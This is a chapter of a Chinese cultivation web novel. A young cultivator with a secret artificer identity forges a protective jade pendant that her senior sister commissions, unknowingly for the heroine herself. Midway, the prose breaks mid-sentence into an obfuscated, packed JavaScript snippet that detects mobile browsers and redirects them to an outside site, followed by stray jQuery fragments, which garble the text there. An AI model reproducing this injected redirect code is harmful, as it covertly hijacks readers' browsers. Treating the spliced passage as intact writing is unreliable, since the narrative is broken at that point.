第20章：来自“妙手”的关怀


    时光荏苒，距离那场惊心动魄的秘境之行，已悄然过去半月有余。


    林海瑶肩胛处的伤口，在丹霞峰上好的灵药“生肌续骨膏”和自身筑基期旺盛生机的共同作用下，早已愈合得不见痕迹，新生的肌肤光洁如玉，仿佛从未受过那蚀骨一击。然而，身体的创伤易平，心灵的“涟漪”与“烦恼”却如同投入湖面的石子，余波未平。


    这半月来，她的修为借着炼化“瀚海之心”雏形的东风，以及水属性天灵根得天独厚的优势，可谓一日千里。丹田内，那座九层湛蓝道台愈发凝实璀璨，其上流淌的液态真元浑厚绵长，奔涌不息，已然稳稳触摸到了筑基初期巅峰的门槛，只差一个契机，便可尝试冲击中期。她对水属性灵气的感知与操控也愈发精妙，施展起《玄水真解》中的法术，如“凝水成盾”、“水影分身”等，不仅威力大增，更多了几分圆转如意的灵动。


    但与之相对的，是她在天仙宗内日益“响亮”的名声。


    宗门内愈演愈烈的流言蜚语。星络那个大嘴巴（虽然是草）透露的消息半点不假，现在她林海瑶在天仙宗算是彻底“出名”了。走到哪里，都能感受到或明或暗的打量目光，夹杂着“就是她”、“秘境英雄”、“云师姐另眼相看”之类的窃窃私语。去膳堂吃饭，打饭的师兄都会多给她舀一勺灵米饭；去藏经阁，执事长老看她的眼神都带着几分探究和……莫名的慈祥？甚至连之前几乎没什么交集的其他峰弟子，见到她也会客气地点头示意。


    这种被迫成为“风云人物”的感觉，让习惯性苟着发育的林海瑶浑身不自在，仿佛一只努力伪装成石头的变色龙被强行拽到了聚光灯下。


    这日清晨，林海瑶照例前往传功堂，听取一位金丹长老讲解《基础遁术精要》。她特意选了个靠后、不起眼的角落坐下，努力降低存在感。然而，讲座中途，那位须发皆白、平时眼神浑浊仿佛永远睡不醒的传功长老，讲到“土遁术的灵力分布关键”时，目光忽然精准地扫过人群，落在了她身上，抚须笑道：


    “尔等需知，遁术之道，在于灵巧应变，而非一味猛冲。便如日前秘境之中，我宗灵植峰弟子林海瑶，虽修为尚浅，却能于危急关头，以水遁之术巧妙周旋，牵制数倍于己之敌，为同行人员争取生机，此便是对灵力精细操控与战术运用的典范！尔等当以此勉之！”


    刹那间，整个传功堂数百道目光，如同聚光灯般，“唰”地一下集中到了恨不得把自己缩进地缝里的林海瑶身上。有好奇，有探究，有羡慕，甚至还有几分……崇拜？


    林海瑶只觉得脸颊发烫，头皮发麻，只能硬着头皮，努力挤出一个谦逊又带着点“惶恐”的笑容，朝着长老和四周微微颔首，心里早已泪流成河：“长老您饶了我吧！我就是个想安安稳稳赚钱修行的普通弟子啊！这种‘典范’还是让别人当去吧！”


    讲座一结束，她几乎是施展出了刚领悟几分的“水影步”精髓，身形几个模糊，如同游鱼般滑溜地钻出人群，逃离了那片让她窒息的“注目礼”区域。


    “唉，人怕出名猪怕壮，古人诚不欺我。”她躲在一处僻静的竹林里，拍着胸口顺气，内心哀叹，“这下好了，‘低调发育’计划彻底破产。只希望这阵风头赶紧过去，让大家早点忘记我这个被迫营业的‘英雄’吧。”


    然而，比起成为宗门“名人”，更让她心头萦绕着一丝莫名情绪的，是来自云清弦那若有若无、却又清晰可辨的……态度变化。


    自那日云清弦在瑶光居外，撞见她与钱多多因处理秘境收获而“相谈甚欢”后，林海瑶便敏锐地察觉到，这位万神宗大师姐对待她的方式，发生了一些难以言喻的微妙转变。


    云清弦依旧每日会来瑶光居探望，时辰精准得如同宗门晨钟。她依旧会询问林海瑶的伤势恢复情况，关心她的修炼进度，甚至前两日还送来了一瓶万神宗特有的“冰心凝神丹”，说是对稳固心神、平复因快速进阶可能带来的心潮起伏有奇效。


    但那种好，似乎……更程式化了。更像是一种基于“救命恩人”身份和宗门礼仪的、不容有失的责任性关照。她的话比以前更少，停留的时间也更短，那双清冷如寒潭的眸子里，之前偶尔会流露出的、被她私下吐槽为“天然呆”式的探究与好奇，几乎消失不见。取而代之的是一种更加疏离的、公事公办的平静。每次见面，都像是完成一项既定流程：确认人安好，留下丹药或几句修炼叮嘱，便翩然离去，衣袂带起的微风都透着几分寒意。


    （林海瑶内心OS：所以，云师姐那天果然是心情不悦吧？是因为觉得我收了她的瀚海之心这等重宝，还和别的师弟“勾肩搭背”、“言笑晏晏”，显得不够庄重？还是单纯觉得钱多多那人油嘴滑舌，看不上眼？可那是正经的商业合作啊大佬！我这不都是为了赚取修炼资源，努力在修仙界活下去嘛！您这关注点……是不是有点太……呃，严格了？）


    她曾试图从元宝那里旁敲侧击，毕竟这小家伙现在是云清弦面前的“首席萌宠”，每次云清弦来，它都能凭借其毛茸茸的外表和谄媚的技巧，获得几下温柔的抚摸甚至偶尔的小零食投喂。


    “元宝，你今天感觉云师姐心情如何？”某次云清弦离开后，林海瑶捏着元宝软乎乎的肚子问道。


    元宝正抱着一小块云清弦留下的、灵气充沛的“冰玉酥”啃得欢快，闻言抬起沾着碎屑的小脸，黑溜溜的眼睛里满是茫然：“心情？本王怎么知道！她身上还是那么香香的，凉凉的，摸本王的手法倒是比之前熟练了一点……不过今天给的零食分量有点少，差评！女人，你还是得多努力赚钱，本王感觉距离下次‘饿瘪’不远了！”


    林海瑶：“……”算了，跟一个脑子里只有灵石和零食的麒麟幼崽探讨人类复杂细腻的情感，无异于对牛弹琴。


    这种微妙的、仿佛隔着一层无形冰膜的僵局，一直持续到又一次旬末子时。


    夜深人静，月隐星稀。瑶光居内，林海瑶刚刚结束晚课，正对着那枚悬浮在掌心、与自身气息交融愈深的“瀚海之心”雏形，细细体悟其中蕴含的浩瀚水意。忽然，放置在静室暗格中的那枚流云传讯玉简，传来了熟悉而轻微的灵力波动。


    是“云姑娘”。


    林海瑶（妙手）深吸一口气，收敛心神，脸上瞬间切换成了那种带着几分神秘与专注的“营业式”表情。她熟练地引动神识，连接到玉简。


    玉简上空，柔和的白光汇聚，浮现出云清弦那清隽依旧的字迹。然而，这次的内容却并非如林海瑶所预料的、关于“千幻面纱”的使用反馈或是新的炼器难题。


    【妙手掌柜，深夜叨扰。此次传讯，并非探讨炼器之术，而是有一事相托。】


    林海瑶（妙手）心中微动，回复道：【云姑娘客气，但说无妨。若是在下力所能及之事，必不推辞。】


    玉简那头沉默了片刻，似乎在斟酌词句，随后字迹再次浮现，内容却让林海瑶（妙手）如同被一道细微的冰凌刺中，瞬间僵住。


    【清弦想请掌柜出手，炼制一件护身法宝。不求攻伐之能，唯重防护之效，需能抵御金丹初期修士倾力三击而不毁，且需兼具高阶隐匿气息、宁心静神之效。材质不限，掌柜可自行斟酌，务必求其稳固、隐蔽、温和。】


    要求很高！抵御金丹初期三击，这至少需要极品法器中的顶尖货色，甚至触摸到下品宝器的边缘才能做到。还要隐匿和宁神？这“云姑娘”对法宝的功能性要求是越来越全面了。不过，以她目前的炼器水准和金手指的加持，倒也不是不能挑战。


    她正准备询问更具体的细节，比如预算、交付时间，以及是否有特殊的形态偏好，玉简上紧接着浮现的话语，却像是一道惊雷，在她脑海中轰然炸响，让她几乎维持不住“妙手”那沉稳的人设。


    【此物，并非清弦自用。乃是欲赠予一位……重要的朋友。她近日屡遇险阻，虽天赋卓绝，心性坚韧，然修为尚浅，清弦……远在宗门，难免挂心，唯愿此物能护她周全，聊表心意。掌柜炼制时，若能稍偏向水属性，或更契合于她。】


    重要的朋友……修为尚浅……水属性更契合……


    这几个关键词，如同带着回音，在她脑海里反复震荡！


    这描述，除了她林海瑶本人，还能有谁？！


    云清弦！她竟然委托“妙手掌柜”炼制护身法宝，然后要送给“林海瑶”？！


    这……这算怎么回事？！我给我自己炼制护身法宝？！然后还要以“妙手”的身份，收云清弦的灵石和材料费？！


    一股极其荒谬、滑稽、又夹杂着丝丝难以言喻的酸涩和隐秘暖流的复杂情绪，如同被打翻的调料铺，在她心中汹涌翻腾。她感觉自己正站在一个无比奇妙的戏剧节点上，一边是“妙手”这个马甲带来的稳定财路和商业信誉，另一边是“林海瑶”这个本尊与云清弦之间那愈发纠缠难解的关系。


    （林海瑶内心疯狂吐槽：云师姐啊云师姐！您这脑回路是不是被剑罡劈过？！关心我就直接送啊！我们白天才见过面！您手里难道没有现成的护身法宝吗？干嘛非要绕这么大一个弯子，来找“妙手”？难道这就是高岭之花表达关心的独特方式？别扭、笨拙、还带点……令人哭笑不得的可爱？不对不对！重点是，这单生意我接是不接？接了，等于自己赚自己的钱，还要承云清弦一份大人情？不接？以“云姑娘”对“妙手”能力的信任和重视，必然会引起怀疑，而且……好像也有点辜负这份……沉甸甸又拐弯抹角的关怀？）


    刹那间，前世金牌销售的职业本能和手工博主的创作激情在她灵魂深处同时燃起熊熊火焰！


    接！必须接！而且要接得漂漂亮亮！


    这不仅关乎“妙手”的金字招牌和未来的灵石进账，更是维系与“云姑娘”这条珍贵人脉的关键。更重要的是，这是回应云清弦那份别扭关怀的唯一途径，同时，也能正大光明地给自己打造一件强力的保命底牌！简直是一举多得，肥水不流外人田……呃，虽然这“肥水”绕了一圈还是流回自己田里。


    短短几息之间，林海瑶（妙手）已经完成了复杂的心理博弈和利益计算。她神识凝聚，在玉简上勾勒出沉稳而专业的回复，字迹力求平稳，不带丝毫波澜：


    【云姑娘重情重义，顾虑周全，令人感佩。此要求虽颇具挑战，但在下可尽力一试。抵御金丹初期倾力三击，核心需融入‘星辰钢’、‘千年沉木心’等坚韧之物，构筑‘小周天星辰守护阵’为基；高阶隐匿与宁神，则需辅以‘匿空石粉末’及‘清心玉髓’，结合‘幻影叠阵’与‘静心梵文’。若材料齐全，工艺得当，炼制一件极品法器级的护身玉佩，当有七成把握。至于水属性偏向，可在核心阵眼处嵌入一小块‘玄水晶’或‘深海泪金’，便能自然引导灵力，温和滋养水灵根修士。】


    她报出的这几种材料，无一不是珍稀难寻、价值不菲之物。既点明了任务的艰巨与成本，为后续的“手工费”奠定了合理基础，也确保了自己能用上最好的材料来打造这件“自用”的顶级护身符。


    云清弦的回覆来得极快，带着一种如释重负的果断，以及万神宗首席特有的、不容置疑的豪气：


    【有劳掌柜费心。所需材料清单及预付费用，下次鬼市开市时交付与你。炼制时间不限，掌柜可从容施为，但求尽善尽美，不计成本。】


    看看！这财大气粗的口气！这毫无保留的信任！林海瑶仿佛看到了无数闪耀着诱人光泽的中品灵石和堆积如山的顶级炼器材料，正朝着“妙手”的仓库滚滚而来。


    “唉，云师姐啊云师姐，你这般……让我如何是好。”林海瑶（妙手）面具下的嘴角，忍不住勾起一个混合着无奈、好笑和一丝连她自己都未曾清晰察觉的、细微甜意的弧度，“一边以‘林师妹’的身份承受你的照顾与厚赠，一边以‘妙手’的身份赚取你的灵石……我这算不算是双向盈利，左右逢源？”


    她摇了摇头，将这略显“无耻”的念头压下。无论如何，这笔“自产自销”还额外大赚一笔的超级订单，她是接下了。


    翌日，清晨。


    云清弦依旧准时出现在了瑶光居外。今日她穿着一袭淡青色的流云广袖裙，少了几分平日的清冷肃杀，多了几分水墨画般的雅致。晨光熹微中，她身姿窈窕，青丝如瀑，宛如从画中走出的仙子。


    林海瑶早已收拾停当，正在洞府前的灵药圃里，给几株新移栽的“月光苔”浇水。见到云清弦，她立刻放下手中的玉壶，脸上露出恰到好处的、带着一丝恭敬与依赖的笑容：“云师姐，您来了。”


    “嗯。”云清弦微微颔首，目光习惯性地扫过林海瑶，在她气色红润、灵力充盈的脸上停留一瞬，确认她恢复得极好，眼底深处一丝几不可查的满意悄然掠过。随即，她的目光落在了那几株叶片上闪烁着微光的“月光苔”上。


    “此物喜阴畏强光，夜间吸纳月华生长，白日需以无根水轻洒，保持土壤湿润即可，不可过多。”云清弦忽然开口，声音清越如玉石相击，说出的却是灵植培育的要点。


    林海瑶微微一怔，随即眼中流露出恰到好处的“受教”神色：“多谢师姐指点！弟子只是觉得它们好看，随手种下，原来还有这般讲究。”她确实不太懂这些偏门灵草的精细习性，云清弦的指点可谓雪中送炭。


    （林海瑶内心：咦？云师姐居然还懂灵植？不愧是名门大派的首席，涉猎真广！不过……她今天好像主动跟我说话了？虽然话题是灵草……）


    “细微之处，可见心性。”云清弦淡淡道，目光从月光苔上移开，重新落在林海瑶脸上，似乎想说什么，但那双墨眸中闪过一丝几不可查的犹豫，最终只是将一个小巧的玉瓶递了过来，“这是‘冰魄灵乳’，于滋养水灵根有奇效，每日修炼前滴入清水服用一滴即可。”


    又是赠药！林海瑶赶紧双手接过，触手一片温凉，瓶身灵气氤氲，显然不是凡品。她心中感激，却也忍不住再次吐槽云清弦这种“只送东西不多说话”的关怀方式。


    “多谢师姐！让您破费了。”她诚恳地道谢，想了想，又补充道，“师姐上次送的‘冰心凝神丹’效果极好，弟子感觉近日修炼时，心神确实宁静了许多。”


    听到她提及丹药效果，云清弦清冷的眉眼似乎柔和了那么一刹那，如同冰湖表面掠过的一缕春风，快得让人无法捕捉。她轻轻“嗯”了一声，算是回应。


    就在这时，一直在林海瑶脚边打转、试图吸引注意力的元宝，终于按捺不住，一个飞扑，抱住了云清弦的裙摆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084595|195377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，仰着小脑袋，黑溜溜的大眼睛里充满了“求抚摸、求投喂”的渴望光芒。


    云清弦低头，看着这只金灿灿、毛茸茸的小兽。这一次，她没有立刻伸手，而是目光在林海瑶和元宝之间流转了一下，似乎想起了什么，那刚刚柔和了一瞬的气息，又微微收敛了些。


    （云清弦内心：这小兽……倒是与她亲近。那日与那钱多多……）


    她终究还是没能抵抗住元宝那纯粹的、带着暖意的依赖眼神，伸出纤长如玉的手指，轻轻挠了挠元宝的下巴。


    “咕噜咕噜……”元宝立刻发出满足的呼噜声，整只鼠瘫软在云清弦的鞋面上，小尾巴尖愉快地晃动着。


    林海瑶看着这一幕，心里那点因云清弦态度微妙变化而产生的郁闷，忽然就被这温馨（且有点搞笑）的画面冲淡了些。她笑着道：“元宝好像特别亲近师姐您呢。”


    云清弦抚摸着元宝柔软绒毛的手指微微一顿，抬眼看向林海瑶，眸色深深，语气平淡无波：“灵兽感知敏锐，或许只是……本能驱使。”


    （林海瑶内心：本能？什么本能？靠近富婆的本能吗？）


    她没敢把这话说出口。


    云清弦没有再多留，又例行公事般地询问了几句林海瑶修炼上可有疑难（林海瑶自然表示一切顺利），便告辞离去。只是在转身的刹那，她的目光似乎不经意地，再次扫过瑶光居洞府门口，仿佛在确认什么，又仿佛带着一丝她自己都未察觉的……探究。


    送走云清弦，林海瑶看着手中的“冰魄灵乳”，又想起昨夜“云姑娘”的委托，心情复杂地叹了口气。


    “算了，不想那么多了。先把‘海月佩’炼出来再说！这可是关乎我自己小命的头等大事！”


    接下来的几天，林海瑶将大部分精力都投入到了这件特殊的“护身法宝”的炼制中。


    云清弦（云姑娘）的办事效率堪称楷模。下次鬼市之夜，她如约而至，交给了林海瑶（妙手）一个容量不小的储物袋。里面不仅有着她清单上列出的所有主材、辅材，品质均属上乘，远超她的预期，甚至还有几样她只在典籍上见过、没敢奢望的顶级替代材料，如一小撮“虚空晶砂”（比匿空石粉末效果更佳）、一块“万年温玉心”（比清心玉髓更温和持久）。除此之外，还有整整八百块中品灵石作为预付！


    看着那堆宝光莹莹、灵气几乎要透袋而出的珍贵材料，以及那八百块散发着精纯灵气的“小可爱”，林海瑶再次被万神宗的财力和云清弦的“不计成本”深深震撼。同时也更加确定，云清弦对“林师妹”的这份绕弯子的关怀，其用心和分量，远比表面看起来要沉重得多。


    “材料越好，炼制出的法宝品质越高，我自个儿用着也更安心，对得起云师姐这番……苦心。”她自我安慰着，压下心中那丝奇异的感觉，全身心沉浸到炼器之中。


    设计早已在她脑海中完善了无数遍。她决定炼制一枚玉佩，造型取“上善若水”之意，线条流畅圆融，以“千年沉木心”为主体，取其坚韧与宁神之性；内部以熔炼提纯后的“星辰钢”勾勒出繁复而稳固的“小周天星辰守护阵”核心，此阵借周天星力循环不息，防御力惊人；再融入“虚空晶砂”，使得玉佩在激发时能产生微妙的空间扭曲，实现极高程度的隐匿；核心阵眼处，则嵌入那块云清弦额外提供的、泪滴状、散发着柔和蓝光的“深海泪金”，此物乃深海孕育的奇珍，蕴含精纯水灵本源与生机，不仅能完美契合她的水属性天灵根，长期佩戴更能潜移默化地温养经脉，滋润道基，甚至对“瀚海之心”的成长都有裨益。


    构思完美，便开始了一场耗费心力的炼器之旅。


    地火室中，温度炽热。林海瑶神情专注，瞳孔中倒映着跳跃的火焰。她以神识为引，液态真元为媒，小心翼翼地操控着每一种材料的熔炼、塑形与融合。造化之力随着她的心意流转，如同最顶级的工匠，无声无息地优化着材料内部的灵性结构，弥合着阵纹刻画时可能产生的细微瑕疵，增强着不同属性材料之间的亲和度与能量传导效率。整个炼制过程，虽然步骤繁琐，消耗巨大，但在金手指的保驾护航下，竟有种水到渠成般的顺畅。


    她甚至大胆地尝试了一个创新的设计——在玉佩核心，那个由“深海泪金”构成的阵眼周围，利用一丝高度凝聚的造化之力和自身精血，勾勒了一个极其微小的、与主阵纹相连的“灵犀契印”。这并非传统的器灵雏形，而更像一个高度智能的“被动触发机制”。当佩戴者遭遇超过筑基期强度的恶意攻击或致命危机时，无需主人分心催动，玉佩便能自行、瞬间地激发最强防御状态，并且能一定程度上感知攻击来源的属性，微调防御侧重。这想法源于她前世对智能安防系统的理解，在此世修真法则与造化之力的结合下，竟奇迹般地实现了雏形。


    整整十日不眠不休，她几乎耗尽了心神与真元。当地火缓缓熄灭，最后一道融合法诀打入，那枚悬浮在炼器炉中心的玉佩骤然爆发出湛湛清辉，光芒并不刺眼，却带着一种深沉如海、温润如月的气息！玉佩上的星辰光点与水流暗纹仿佛活了过来，缓缓流转，一股圆满、灵动、强大的灵性波动弥漫开来，将整个地火室的燥热都驱散了几分。


    成功了！


    林海瑶长舒一口气，身体微微晃了一下，脸色苍白，但那双杏眼中却闪烁着难以抑制的兴奋与自豪。


    她伸出手，那枚玉佩如同受到召唤般，轻飘飘地落入她的掌心。


    触手温润清凉，仿佛握着一小块凝固的月光海水。玉佩约莫婴儿掌心大小，通体是深邃的暗蓝色，如同夜幕下的深海，内部有点点银星闪烁，又似有淡淡的水流波纹在缓缓荡漾。表面光滑莹润，雕刻着简约而玄奥的云水纹路。其散发出的灵力波动浩瀚而内敛，品质赫然达到了极品法器的极致，甚至因为那独特的“灵犀契印”和造化之力的深度优化，其灵性已然超脱了一般法器的范畴，半只脚踏入了下品宝器的领域！


    “完美！就叫你‘海月佩’吧！”林海瑶爱不释手，珍而重之地将其捧在眼前端详。海，象征其如海之深广的防护与包容；月，寓意其如月之清辉的隐匿与宁神。


    她仔细检查了数遍，确认没有任何炼制者的气息残留，所有灵光内蕴，看起来就像一件刚刚出炉、等待认主的无主法宝，这才小心翼翼地将它放入一个早已准备好的、能够隔绝气息的寒玉盒中。


    合上玉盒的刹那，她心中百感交集。


    这枚倾注了她无数心血、耗费了云清弦提供的大量珍稀材料、最终将要戴在自己身上的“海月佩”，不仅仅是一件强大的护身法宝，更像一个奇妙的纽带，连接着“妙手”与“云姑娘”的交易，也缠绕着云清弦对“林师妹”那份别扭而真挚的关怀。


    “下次鬼市，就能‘交货’了。”她喃喃自语，嘴角勾起一抹复杂的笑意，“不知道云师姐（云姑娘）收到这件她特意为‘林师妹’订制的法宝时，会是什么表情？而‘林师妹’收到这份来自‘妙手’的‘关怀’时，又该如何‘惊喜’和‘感激’呢？”


    想到这里，她忽然觉得，这双重身份的生活，虽然刺激又心累，但似乎……也并非全是麻烦。


    至少，此刻她掌心这枚温润的玉佩，以及心底那丝若有若无的暖意，是真实不虚的。